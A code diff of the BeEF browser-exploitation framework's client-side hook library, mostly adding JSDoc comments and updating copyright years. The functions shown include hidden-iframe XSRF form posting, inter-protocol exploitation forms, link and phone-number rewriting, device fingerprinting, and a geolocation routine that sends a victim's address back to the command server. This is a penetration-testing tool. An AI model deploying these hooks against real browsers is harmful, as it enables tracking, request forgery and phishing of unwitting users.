return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
},
/**
@@ -888,7 +895,7 @@ beef.browser = {
* @example: beef.browser.isFF93()
*/
isFF93: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
},
/**
@@ -896,7 +903,7 @@ beef.browser = {
* @example: beef.browser.isFF94()
*/
isFF94: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
},
/**
@@ -904,7 +911,7 @@ beef.browser = {
* @example: beef.browser.isFF95()
*/
isFF95: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
},
/**
@@ -912,7 +919,7 @@ beef.browser = {
* @example: beef.browser.isFF96()
*/
isFF96: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
},
/**
@@ -920,7 +927,7 @@ beef.browser = {
* @example: beef.browser.isFF97()
*/
isFF97: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
},
/**
@@ -928,7 +935,7 @@ beef.browser = {
* @example: beef.browser.isFF98()
*/
isFF98: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
},
/**
@@ -936,7 +943,7 @@ beef.browser = {
* @example: beef.browser.isFF99()
*/
isFF99: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
},
/**
@@ -997,10 +1004,13 @@ beef.browser = {
/**
* Returns true if Webkit based
*
* **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
*/
isWebKitBased: function () {
/*
* **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
*/
return (!window.opera && !window.chrome
&& window.navigator.userAgent.match(/ Version\/\d/) != null
&& !window.globalStorage
@@ -2493,6 +2503,7 @@ beef.browser = {
type: function () {
return {
E: this.isEdge(), // Edge any version
C5: this.isC5(), // Chrome 5
C6: this.isC6(), // Chrome 6
C7: this.isC7(), // Chrome 7
@@ -3914,12 +3925,12 @@ beef.browser = {
getPlugins: function () {
var results;
Array.prototype.unique = function () {
var o = {}, i, l = this.length, r = [];
for (i = 0; i < l; i += 1) o[this[i]] = this[i];
for (i in o) r.push(o[i]);
return r;
};
function unique(array) {
return $j.grep(array, function(el, index) {
return index === $j.inArray(el, array);
});
}
// Things lacking navigator.plugins
if (!navigator.plugins)
@@ -3938,8 +3949,8 @@ beef.browser = {
// Sometimes store the version in description (Real, Adobe)
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
}
results = results.unique().toString();
results = unique(results).toString();
// All browsers that don't support navigator.plugins
} else {
results = new Array();
@@ -4579,17 +4590,19 @@ beef.browser = {
* This code is based on research from browserspy.dk
*
* @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
* @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
* @return {Object} A jQuery deferred object promise, which when resolved passes
* the number of connections to the callback function as "this"
*
* example usage:
* $j.when(getMaxConnections()).done(function(){
* console.debug("Max Connections: " + this);
* });
*
*/
getMaxConnections: function (scope) {
getMaxConnections: function (scope) {
/*
* example usage:
* $j.when(getMaxConnections()).done(function(){
* console.debug("Max Connections: " + this);
* });
*/
var imagesCount = 30; // Max number of images to test
var secondsTimeout = 5; // Image load timeout threashold
var testUrl = ""; // The image testing service URL

View File

@@ -1,19 +1,18 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.browser.cookie
*
/**
* Provides fuctions for working with cookies.
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
* Original author unknown.
*
* @namespace beef.browser.cookie
*/
beef.browser.cookie = {
/** @memberof beef.browser.cookie */
setCookie: function (name, value, expires, path, domain, secure)
{
@@ -32,7 +31,7 @@ beef.browser.cookie = {
( ( domain ) ? ";domain=" + domain : "" ) +
( ( secure ) ? ";secure" : "" );
},
/** @memberof beef.browser.cookie */
getCookie: function(name)
{
var a_all_cookies = document.cookie.split( ';' );
@@ -63,7 +62,7 @@ beef.browser.cookie = {
return null;
}
},
/** @memberof beef.browser.cookie */
deleteCookie: function (name, path, domain)
{
if ( this.getCookie(name) ) document.cookie = name + "=" +
@@ -72,7 +71,7 @@ beef.browser.cookie = {
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
},
/* Never stop the madness dear C. */
/** @memberof beef.browser.cookie */
veganLol: function (){
var to_hell= '';
var min = 17;
@@ -99,7 +98,7 @@ beef.browser.cookie = {
}
return to_hell;
},
/** @memberof beef.browser.cookie */
hasSessionCookies: function (name){
this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
@@ -108,7 +107,7 @@ beef.browser.cookie = {
return cookiesEnabled;
},
/** @memberof beef.browser.cookie */
hasPersistentCookies: function (name){
this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );

View File

@@ -1,19 +1,17 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.browser.popup
*
/**
* Provides fuctions for working with cookies.
* Several functions adopted from http://davidwalsh.name/popup-block-javascript
* Original author unknown.
*
* @namespace beef.browser.popup
*/
beef.browser.popup = {
/** @memberof beef.browser.popup */
blocker_enabled: function ()
{
screenParams = beef.hardware.getScreenSize();

View File

@@ -1,20 +1,19 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.dom
*
/**
* Provides functionality to manipulate the DOM.
* @namespace beef.dom
*/
beef.dom = {
/**
* Generates a random ID for HTML elements
* @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
* @return: generated id
* @param {String} prefix a custom prefix before the random id. defaults to "beef-"
* @return {String} generated id
*/
generateID: function(prefix) {
return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
@@ -22,9 +21,9 @@ beef.dom = {
/**
* Creates a new element but does not append it to the DOM.
* @param: {String} the name of the element.
* @param: {Literal Object} the attributes of that element.
* @return: the created element.
* @param {String} type the name of the element.
* @param {Array} attributes the attributes of that element.
* @return {Array} the created element.
*/
createElement: function(type, attributes) {
var el = document.createElement(type);
@@ -40,7 +39,7 @@ beef.dom = {
/**
* Removes element from the DOM.
* @param: {String or DOM Object} the target element to be removed.
* @param {Object} el the target element to be removed.
*/
removeElement: function(el) {
if (!beef.dom.isDOMElement(el))
@@ -54,8 +53,8 @@ beef.dom = {
/**
* Tests if the object is a DOM element.
* @param: {Object} the DOM element.
* @return: true if the object is a DOM element.
* @param {Object} the DOM element.
* @return {boolean} true if the object is a DOM element.
*/
isDOMElement: function(obj) {
return (obj.nodeType) ? true : false;
@@ -63,7 +62,7 @@ beef.dom = {
/**
* Creates an invisible iframe on the hook browser's page.
* @return: the iframe.
* @return {array} the iframe.
*/
createInvisibleIframe: function() {
var iframe = this.createElement('iframe', {
@@ -79,10 +78,10 @@ beef.dom = {
/**
* Returns the highest current z-index
* @param: {Boolean} whether to return an associative array with the height AND the ID of the element
* @return: {Integer} Highest z-index in the DOM
* @param {Boolean} whether to return an associative array with the height AND the ID of the element
* @return {Integer} Highest z-index in the DOM
* OR
* @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
* @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
*/
getHighestZindex: function(include_id) {
var highest = {'height':0, 'elem':''};
@@ -105,11 +104,11 @@ beef.dom = {
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
* @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
* @param: {Hash} params: list of params that will be sent in request.
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
* @param: {Function} a callback function to fire once the iFrame has loaded
* @return: {Object} the inserted iFrame
* @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
* @param {Hash} params: list of params that will be sent in request.
* @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
* @param {Function} a callback function to fire once the iFrame has loaded
* @return {Object} the inserted iFrame
*
*/
createIframe: function(type, params, styles, onload) {
@@ -150,8 +149,8 @@ beef.dom = {
/**
* Load a full screen div that is black, or, transparent
* @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
* @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
* @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
* @param {Hash} options: a collection of options to customise how the div is configured, as follows:
* opacity:0-100 // Lower number = less grayout higher = more of a blackout
* // By default this is 70
* zindex: # // HTML elements with a higher zindex appear on top of the gray out
@@ -219,9 +218,9 @@ beef.dom = {
/**
* Create a form element with the specified parameters, appending it to the DOM if append == true
* @param: {Hash} params: params to be applied to the form element
* @param: {Boolean} append: automatically append the form to the body
* @return: {Object} a form object
* @param {Hash} params: params to be applied to the form element
* @param {Boolean} append: automatically append the form to the body
* @return {Object} a form object
*/
createForm: function(params, append) {
var form = $j('<form></form>').attr(params);
@@ -239,7 +238,7 @@ beef.dom = {
/**
* Get the location of the current page.
* @return: the location.
* @return the location.
*/
getLocation: function() {
return document.location.href;
@@ -247,7 +246,7 @@ beef.dom = {
/**
* Get links of the current page.
* @return: array of URLs.
* @return array of URLs.
*/
getLinks: function() {
var linksarray = [];
@@ -260,9 +259,9 @@ beef.dom = {
/**
* Rewrites all links matched by selector to url, also rebinds the click method to simply return true
* @param: {String} url: the url to be rewritten
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
* @param {String} url: the url to be rewritten
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinks: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
@@ -277,9 +276,9 @@ beef.dom = {
/**
* Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
* http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
* @param: {String} url: the url to be rewritten
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
* @param {String} url: the url to be rewritten
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinksClickEvents: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
@@ -293,10 +292,10 @@ beef.dom = {
/**
* Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
* @param: {String} old_protocol: the old link protocol to be rewritten
* @param: {String} new_protocol: the new link protocol to be written
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
* @param {String} old_protocol: the old link protocol to be rewritten
* @param {String} new_protocol: the new link protocol to be written
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
@@ -319,9 +318,9 @@ beef.dom = {
/**
* Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
* @param: {String} new_number: the new link telephone number to be written
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
* @param {String} new_number: the new link telephone number to be written
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return {Number} the amount of links found in the DOM and rewritten.
*/
rewriteTelLinks: function(new_number, selector) {
@@ -343,9 +342,9 @@ beef.dom = {
},
/**
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
* @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
* @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
* @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
* @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
*/
parseAppletParams: function(params){
var result = '';
@@ -364,11 +363,11 @@ beef.dom = {
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
* example usage in the code, using codebase:
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
* @params: {String} id: reference identifier to the applet.
* @params: {String} code: name of the class to be loaded. For example, beef.class.
* @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
* @params: {String} archive: the jar that contains the code.
* @params: {String} params: an array of additional params that the applet except.
* @param {String} id: reference identifier to the applet.
* @param {String} code: name of the class to be loaded. For example, beef.class.
* @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
* @param {String} archive: the jar that contains the code.
* @param {String} params: an array of additional params that the applet except.
*/
attachApplet: function(id, name, code, codebase, archive, params) {
var content = null;
@@ -432,7 +431,7 @@ beef.dom = {
/**
* Given an id, remove the applet from the DOM.
* @params: {String} id: reference identifier to the applet.
* @param {String} id: reference identifier to the applet.
*/
detachApplet: function(id) {
$j('#' + id + '').detach();
@@ -440,10 +439,10 @@ beef.dom = {
/**
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
* @params: {String} action: the form action attribute, where the request will be sent.
* @params: {String} method: HTTP method, usually POST.
* @params: {String} enctype: form encoding type
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
* @param {String} action: the form action attribute, where the request will be sent.
* @param {String} method: HTTP method, usually POST.
* @param {String} enctype: form encoding type
* @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
*/
createIframeXsrfForm: function(action, method, enctype, inputs){
@@ -477,9 +476,9 @@ beef.dom = {
/**
* Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
* @params: {String} rhost: remote host ip/domain
* @params: {String} rport: remote port
* @params: {String} commands: protocol commands to be executed by the remote host:port service
* @param {String} rhost: remote host ip/domain
* @param {String} rport: remote port
* @param {String} commands: protocol commands to be executed by the remote host:port service
*/
createIframeIpecForm: function(rhost, rport, path, commands){
var iframeIpec = beef.dom.createInvisibleIframe();

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -8,10 +8,18 @@
beef.encode = {};
/**
* Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
* @namespace beef.encode.base64
*/
beef.encode.base64 = {
keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
/**
* @memberof beef.encode.base64
* @param {string} input
* @return {string}
*/
encode : function (input) {
if (window.btoa) {
return btoa(unescape(encodeURIComponent(input)));
@@ -49,7 +57,11 @@ beef.encode.base64 = {
return output;
},
/**
* @memberof beef.encode.base64
* @param {string} input
* @return {string}
*/
decode : function (input) {
if (window.atob) {
return escape(atob(input));
@@ -90,8 +102,12 @@ beef.encode.base64 = {
},
utf8_encode : function (string) {
/**
* @memberof beef.encode.base64
* @param {string} string
* @return {string}
*/
utf8_encode : function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
@@ -116,7 +132,11 @@ beef.encode.base64 = {
return utftext;
},
/**
* @memberof beef.encode.base64
* @param {string} utftext
* @return {string}
*/
utf8_decode : function (utftext) {
var string = "";
var i = 0;

View File

@@ -1,13 +1,19 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
/**
* Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
* @namespace beef.encode.json
*/
beef.encode.json = {
/**
* @memberof beef.encode.json
* @param o
*/
stringify: function(o) {
if (typeof(JSON) == 'object' && JSON.stringify) {
// Error on stringifying cylcic structures caused polling to die
@@ -97,7 +103,10 @@ beef.encode.json = {
return "{" + pairs.join(", ") + "}";
}
},
/**
* @memberof beef.encode.json
* @param string
*/
quoteString: function(string) {
if (string.match(this._escapeable))
{

View File

@@ -1,25 +1,30 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.geolocation
*
/**
* Provides functionalities to use the geolocation API.
* @namespace beef.geolocation
*/
beef.geolocation = {
/**
* check if browser supports the geolocation API
* Check if browser supports the geolocation API
* @return {boolean}
*/
isGeolocationEnabled: function(){
return !!navigator.geolocation;
},
/*
* given latitude/longitude retrieves exact street position of the zombie
/**
* Given latitude/longitude retrieves exact street position of the zombie
* @param command_url
* @param command_id
* @param latitude
* @param longitude
*/
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
@@ -40,23 +45,26 @@ beef.geolocation = {
},
success: function(data, status, xhr){
beef.debug("[geolocation.js] openstreetmap success");
var jsonResp = $j.parseJSON(data);
//var jsonResp = $j.parseJSON(data);
beef.net.send(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
// + "&osm=" + encodeURI(jsonResp.display_name)
+ "&osm=tofix"
+ "&osm=" + data.display_name
+ "&geoLocEnabled=True");
},
type: "get",
url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
dataType: "json",
url: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=" +
latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
});
},
/*
* retrieve latitude/longitude using the geolocation API
/**
* Retrieve latitude/longitude using the geolocation API
* @param command_url
* @param command_id
*/
getGeolocation: function (command_url, command_id){

View File

@@ -1,16 +1,20 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @namespace beef.hardware
*/
beef.hardware = {
ua: navigator.userAgent,
/*
* @return: {String} CPU type
**/
/**
* @return {String} CPU type
*/
getCpuArch: function() {
var arch = 'UNKNOWN';
// note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
@@ -39,7 +43,8 @@ beef.hardware = {
/**
* Returns number of CPU cores
**/
* @return {String}
*/
getCpuCores: function() {
var cores = 'unknown';
try {
@@ -54,7 +59,8 @@ beef.hardware = {
/**
* Returns CPU details
**/
* @return {String}
*/
getCpuDetails: function() {
return {
arch: beef.hardware.getCpuArch(),
@@ -64,7 +70,8 @@ beef.hardware = {
/**
* Returns GPU details
**/
* @return {object}
*/
getGpuDetails: function() {
var gpu = 'unknown';
var vendor = 'unknown';
@@ -98,7 +105,8 @@ beef.hardware = {
/**
* Returns RAM (GiB)
**/
* @return {String}
*/
getMemory: function() {
var memory = 'unknown';
try {
@@ -113,7 +121,8 @@ beef.hardware = {
/**
* Returns battery details
**/
* @return {Object}
*/
getBatteryDetails: function() {
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
@@ -136,6 +145,7 @@ beef.hardware = {
/**
* Returns zombie screen size and color depth.
* @return {Object}
*/
getScreenSize: function () {
return {
@@ -145,17 +155,19 @@ beef.hardware = {
}
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is touch enabled?
* @return {Boolean} true or false.
*/
isTouchEnabled: function() {
if ('ontouchstart' in document) return true;
return false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is virtual machine?
* @return {Boolean} true or false.
*/
isVirtualMachine: function() {
if (this.getGpuDetails().vendor.match('VMware, Inc'))
return true;
@@ -171,9 +183,10 @@ beef.hardware = {
return false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is a Laptop?
* @return {Boolean} true or false.
*/
isLaptop: function() {
if (this.isMobileDevice()) return false;
// Most common laptop screen resolution
@@ -183,64 +196,70 @@ beef.hardware = {
return false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Nokia?
* @return {Boolean} true or false.
*/
isNokia: function() {
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Zune?
* @return {Boolean} true or false.
*/
isZune: function() {
return (this.ua.match('ZuneWP7')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is HTC?
* @return {Boolean} true or false.
*/
isHtc: function() {
return (this.ua.match('HTC')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Ericsson?
* @return {Boolean} true or false.
*/
isEricsson: function() {
return (this.ua.match('Ericsson')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Motorola?
* @return {Boolean} true or false.
*/
isMotorola: function() {
return (this.ua.match('Motorola')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
/**
* Is Google?
* @return {Boolean} true or false.
*/
isGoogle: function() {
return (this.ua.match('Nexus One')) ? true : false;
},
/**
* Returns true if the browser is on a Mobile device
* @return: {Boolean} true or false
* @return {Boolean} true or false
*
* @example: if(beef.hardware.isMobileDevice()) { ... }
**/
*/
isMobileDevice: function() {
return MobileEsp.DetectMobileQuick();
},
/**
* Returns true if the browser is on a game console
* @return: {Boolean} true or false
* @return {Boolean} true or false
*
* @example: if(beef.hardware.isGameConsole()) { ... }
**/
*/
isGameConsole: function() {
return MobileEsp.DetectGameConsole();
},

View File

@@ -1,17 +1,18 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @literal object: beef.init
* Contains the beef_init() method which starts the BeEF client-side
* logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
*
* If beef.pageIsLoaded is true, then this JS has been loaded >1 times
* and will have a new session id. The new session id will need to know
* the brwoser details. So sendback the browser details again.
*
* @namespace beef.init
*/
beef.session.get_hook_session_id();
@@ -19,11 +20,15 @@ beef.session.get_hook_session_id();
if (beef.pageIsLoaded) {
beef.net.browser_details();
}
/**
* @memberof beef.init
*/
window.onload = function () {
beef_init();
};
/**
* @memberof beef.init
*/
window.onpopstate = function (event) {
if (beef.onpopstate.length > 0) {
event.preventDefault;
@@ -38,7 +43,9 @@ window.onpopstate = function (event) {
}
}
};
/**
* @memberof beef.init
*/
window.onclose = function (event) {
if (beef.onclose.length > 0) {
event.preventDefault;
@@ -60,6 +67,7 @@ window.onclose = function (event) {
* - the polling starts (checks for new commands, and execute them)
* - the logger component is initialized (see logger.js)
* - the Autorun Engine is initialized (see are.js)
* @memberof beef.init
*/
function beef_init() {
if (!beef.pageIsLoaded) {

View File

@@ -1,3 +1,12 @@
/**
* @namespace browser_jools
*/
/**
* @memberof browser_jools
* @param file
* @param cwd
*/
var require = function (file, cwd) {
var resolved = require.resolve(file, cwd || '/');
var mod = require.modules[resolved];
@@ -19,7 +28,9 @@ require._core = {
'path': true,
'vm': true
};
/**
* @memberof browser_jools
*/
require.resolve = (function () {
return function (x, cwd) {
if (!cwd) cwd = '/';
@@ -104,7 +115,9 @@ require.resolve = (function () {
}
};
})();
/**
* @memberof browser_jools
*/
require.alias = function (from, to) {
var path = require.modules.path();
var res = null;
@@ -133,7 +146,9 @@ require.alias = function (from, to) {
}
}
};
/**
* @memberof browser_jools
*/
require.define = function (filename, fn) {
var dirname = require._core[filename]
? ''
@@ -215,10 +230,15 @@ function filter (xs, fn) {
return res;
}
// resolves . and .. elements in a path array with directory names there
// must be no slashes, empty elements, or device names (c:\) in the array
// (so also no leading and trailing slashes - it does not distinguish
// relative and absolute paths)
/**
* resolves . and .. elements in a path array with directory names there
* must be no slashes, empty elements, or device names (c:\) in the array
* (so also no leading and trailing slashes - it does not distinguish
* relative and absolute paths)
* @memberof browser_jools
* @param parts
* @param allowAboveRoot
*/
